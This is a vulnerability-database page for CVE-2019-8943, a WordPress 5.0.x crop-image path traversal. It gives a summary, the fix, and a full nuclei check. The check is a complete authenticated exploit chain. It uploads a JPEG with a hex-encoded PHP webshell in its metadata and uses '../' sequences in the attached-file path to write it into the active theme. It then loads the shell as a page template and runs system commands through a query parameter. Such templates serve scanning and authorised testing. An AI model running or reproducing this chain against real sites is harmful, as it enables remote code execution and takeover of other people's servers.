HexBrain

Browse / CVEs / CVE-2019-8943

CVE-2019-8943· wordpress / wordpress· CWE-22

WordPress Core 5.0.0 - Crop-image Shell Upload

mediumseverity
6.5CVSS score
92%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.

Impact

Authenticated attackers with image cropping privileges can write output images to arbitrary directories via path traversal, potentially overwriting critical system files or placing web shells in accessible locations.

Fix

Upgrade to WordPress version 5.0.4 or later.

How to confirm it

Send: GET /wp-login.php
Positive when: contains "WordPress</title>" or "/wp-login.php?action=lostpassword\">Lost your password?</a>" or "<form name=\"loginform\" id=\"loginform\" action=\"{{BaseURL}}/w…"
Send: POST /wp-login.php
Positive when: contains_all(header,"wordpress_logged_in","/wp-admin") and status_code == 302
Send: GET /wp-content/themes/{{theme_name}}/style.css
Positive when: status_code == 200 and len(body) > 0 and content_type == 'text/css'
Send: GET /
Send: GET /wp-admin/media-new.php
Send: POST /wp-admin/async-upload.php
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/post.php?post={{image_id}}&action=edit
Send: POST /wp-admin/post.php
Positive when: status 302
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/post.php
Positive when: status 302
Send: POST /wp-admin/admin-ajax.php
Send: POST /wp-admin/post-new.php
Send: POST /wp-admin/post.php
Positive when: status 302
Send: GET {{BaseURL}}/?p={{post_id}}&0=echo+{{base64(string)}}|base64+-d ; GET {{BaseURL}}/?p={{post_id}}&0=type+C:\windows\win.ini ; GET {{BaseURL}}/?p={{post_id}}&0=type+..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
Positive when: contains "{{string}}" or "for 16-bit app support"

Run it with nuclei: nuclei -id CVE-2019-8943 -u <target>

The full check
id: CVE-2019-8943

info:
  name: WordPress Core 5.0.0 - Crop-image Shell Upload
  author: sttlr
  severity: medium
  description: |
    WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.
  impact: |
    Authenticated attackers with image cropping privileges can write output images to arbitrary directories via path traversal, potentially overwriting critical system files or placing web shells in accessible locations.
  remediation: |
    Upgrade to WordPress version 5.0.4 or later.
  reference:
    - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
    - http://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html
    - http://packetstormsecurity.com/files/161213/WordPress-5.0.0-Remote-Code-Execution.html
    - http://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
    - https://tryhackme.com/r/room/blog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-8943
    cwe-id: CWE-22
    epss-score: 0.91985
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: wordpress
    product: wordpress
    shodan-query:
      - http.component:"wordpress"
      - cpe:"cpe:2.3:a:wordpress:wordpress"
    fofa-query: body="oembed" && body="wp-"
  tags: cve,cve2019,wordpress,rce,intrusive,authenticated,packetstorm,wp-theme,vuln

variables:
  image_filename: "{{rand_text_alpha(10)}}"
  string: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2) && (http(3) || http(4)) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12) && http(13) && http(14) && http(15) && http(16)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "WordPress</title>"
          - '/wp-login.php?action=lostpassword">Lost your password?</a>'
          - '<form name="loginform" id="loginform" action="{{BaseURL}}/wp-login.php" method="post">'
        condition: or
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Login

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(header,"wordpress_logged_in","/wp-admin")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/themes/{{theme_name}}/style.css HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "len(body) > 0"
          - "content_type == 'text/css'"
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: theme_name
        group: 1
        regex:
          - "/wp-content/themes/([^/]+)/"
        internal: true

  - raw:
      - |
        GET /wp-admin/media-new.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: xpath
        name: wpnonce
        attribute: value
        xpath:
          - "//input[@id='_wpnonce'][1]"
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=rexvfybxrhgfrfrjv

        --rexvfybxrhgfrfrjv
        Content-Disposition: form-data; name="name"

        {{image_filename}}.jpg
        --rexvfybxrhgfrfrjv
        Content-Disposition: form-data; name="action"

        upload-attachment
        --rexvfybxrhgfrfrjv
        Content-Disposition: form-data; name="_wpnonce"

        {{wpnonce}}
        --rexvfybxrhgfrfrjv
        Content-Disposition: form-data; name="async-upload"; filename="{{image_filename}}.jpg"
        Content-Type: image/jpeg

        {{hex_decode("ffd8ffe000104a46494600010101006000600000ffed003850686f746f73686f7020332e30003842494d040400000000001c1c027400103c3f3d60245f4745545b305d603b3f3e1c020000020004fffe003b43524541544f523a2067642d6a7065672076312e3020287573696e6720494a47204a50454720763830292c207175616c697479203d2038320affdb0043000604040504040605050506060607090e0909080809120d0d0a0e1512161615121414171a211c17181f1914141d271d1f2223252525161c292c28242b21242524ffdb00430106060609080911090911241814182424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424ffc000110800c0010603012200021101031101ffc4001f0000010501010101010100000000000000000102030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9faffda000c03010002110311003f003c3f3d60245f4745545b305d603b3f3e")}}
        --rexvfybxrhgfrfrjv--

    extractors:
      - type: json
        part: body
        name: image_id
        json:
          - ".data.id"
        internal: true

      - type: json
        part: body
        name: update_nonce
        json:
          - ".data.nonces.update"
        internal: true

      - type: json
        part: body
        name: filename
        json:
          - ".data.filename"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=query-attachments&post_id=0&query%5bitem%5d=43&query%5borderby%5d=date&query%5border%5d=DESC&query%5bposts_per_page%5d=40&query%5bpaged%5d=1

    extractors:
      - type: json
        part: body
        name: ajax_nonce
        json:
          - ".data[0].nonces.edit"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=image-editor&_ajax_nonce={{ajax_nonce}}&postid={{image_id}}&history=%5b%7b%22c%22%3a%7b%22x%22%3a0%2c%22y%22%3a0%2c%22w%22%3a400%2c%22h%22%3a300%7d%7d%5d&target=all&context=&do=save

    extractors:
      - type: regex
        name: image_filename
        part: body
        group: 1
        regex:
          - '\/([^\/]+-e\d+)-'
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php?post={{image_id}}&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    extractors:
      - type: xpath
        name: wpnonce2
        attribute: value
        xpath:
          - "//input[@id='_wpnonce'][1]"
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{wpnonce2}}&action=editpost&post_ID={{image_id}}&meta_input%5b_wp_attached_file%5d={{date_time('%Y/%M')}}/{{image_filename}}.jpg%3f/x

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=crop-image&_ajax_nonce={{ajax_nonce}}&id={{image_id}}&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300

    extractors:
      - type: json
        part: body
        json:
          - ".data.filename"
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{wpnonce2}}&action=editpost&post_ID={{image_id}}&meta_input%5b_wp_attached_file%5d={{date_time('%Y/%M')}}/{{image_filename}}.jpg%3f/../../../../themes/{{theme_name}}/{{randstr}}

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=crop-image&_ajax_nonce={{ajax_nonce}}&id={{image_id}}&cropDetails%5bx1%5d=0&cropDetails%5by1%5d=0&cropDetails%5bwidth%5d=400&cropDetails%5bheight%5d=300&cropDetails%5bdst_width%5d=400&cropDetails%5bdst_height%5d=300

    extractors:
      - type: json
        part: body
        name: cropped_image_filename
        json:
          - ".data.filename"
        internal: true

  - raw:
      - |
        POST /wp-admin/post-new.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    extractors:
      - type: xpath
        name: wpnonce3
        attribute: value
        xpath:
          - "//input[@id='_wpnonce'][1]"
        internal: true

      - type: regex
        name: post_id
        part: body
        group: 1
        regex:
          - '"post":{"id":(\w+),'
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{wpnonce3}}&action=editpost&post_ID={{post_id}}&post_title={{rand_text_alpha(10)}}&post_name={{rand_text_alpha(10)}}&meta_input%5b_wp_page_template%5d=cropped-{{randstr}}.jpg

    matchers:
      - type: status
        status:
          - 302
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?p={{post_id}}&0=echo+{{base64(string)}}|base64+-d"
      - "{{BaseURL}}/?p={{post_id}}&0=type+C:\\windows\\win.ini"
      - "{{BaseURL}}/?p={{post_id}}&0=type+..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "{{string}}"
          - "for 16-bit app support"
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from